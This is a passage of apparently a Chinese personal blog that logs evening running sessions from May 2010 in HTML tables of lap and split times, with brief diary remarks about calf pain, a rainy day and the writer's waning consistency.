<td align="CENTER" valign="MIDDLE">00:03:21</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:02</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:46</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:26</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:09</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:38</td>
<td align="CENTER" valign="MIDDLE">00:00:29</td>
</tr>
</tbody>
</table>
<h3>20100527</h3>
<p>24号没有跑步，当天下雨，但其实雨并不大。但，我现在右小腿挺疼，而左腿却没有什么事情，估计是运动的时候拉伤了。</p>
<p>每次晚上跑之前都要和自己斗争一番，不是不想跑。而是，疼痛。</p>
<p>但，既然选择了坚持。那就继续下去，尽量去克服。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100525-22:21</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:28</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:15</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:05</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:55</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:46</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:36</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:28</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:12</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:43</td>
<td align="CENTER" valign="MIDDLE">00:00:31</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100526-22:31</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:22</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:09</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:01</td>
<td align="CENTER" valign="MIDDLE">00:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:51</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6+7</td>
<td align="CENTER" valign="MIDDLE">00:05:37</td>
<td align="CENTER" valign="MIDDLE">00:01:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:32</td>
<td align="CENTER" valign="MIDDLE">00:00:55</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:13</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:43</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
</tbody>
</table>
<h3>20100523</h3>
<p>不知道今天记录的时间为什么没有第十圈的内容，估计是第一圈的时候没有开始计时。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100522-22:30</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:16</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:58</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:44</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:28</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:17</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:04</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:53</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:38</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:13</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100523-22:29</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:33</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:24</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:12</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:04:05</td>
<td align="CENTER" valign="MIDDLE">00:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:54</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:44</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:33</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:09</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
</tbody>
</table>
<h3>20100522</h3>
<p>这几天不但没有更新，而且跑步的次数也明显减少了。</p>
<p>应该做写什么了，自己。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100511-22:21</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:29</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:14</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:01</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:01</td>
<td align="CENTER" valign="MIDDLE">00:00:00</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:03:49</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:35</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:25</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:10</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:06:40</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100512-22:17</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:17</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:04</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:50</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:34</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:23</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:07</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:55</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:42</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:09</td>
<td align="CENTER" valign="MIDDLE">00:00:27</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100513-22:21</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:23</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:07</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:54</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:39</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:28</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:13</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:59</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:44</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:12</td>
<td align="CENTER" valign="MIDDLE">00:00:28</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100515-22:22</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:26</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:14</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:02</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:55</td>
<td align="CENTER" valign="MIDDLE">00:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:45</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:41</td>
<td align="CENTER" valign="MIDDLE">00:00:56</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:38</td>
<td align="CENTER" valign="MIDDLE">00:00:57</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:23</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:53</td>
<td align="CENTER" valign="MIDDLE">00:00:30</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100519-22:22</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
<td align="CENTER" valign="MIDDLE">00:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:18</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:59</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:43</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:31</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:21</td>
<td align="CENTER" valign="MIDDLE">00:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:10</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:58</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:45</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:16</td>
<td align="CENTER" valign="MIDDLE">00:00:31</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100520-22:27</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:17</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:59</td>
<td align="CENTER" valign="MIDDLE">00:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:42</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:27</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:15</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:00</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:47</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:32</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:05</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
</tbody>
</table>
<h3>20100509</h3>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE">20100508-22:13</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:32</td>
<td align="CENTER" valign="MIDDLE">00:00:32</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:13</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:56</td>
<td align="CENTER" valign="MIDDLE">00:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:47</td>
<td align="CENTER" valign="MIDDLE">00:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:32</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:21</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:07</td>
<td align="CENTER" valign="MIDDLE">00:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:55</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:40</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:09</td>
<td align="CENTER" valign="MIDDLE">00:00:29</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100509-22:27</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
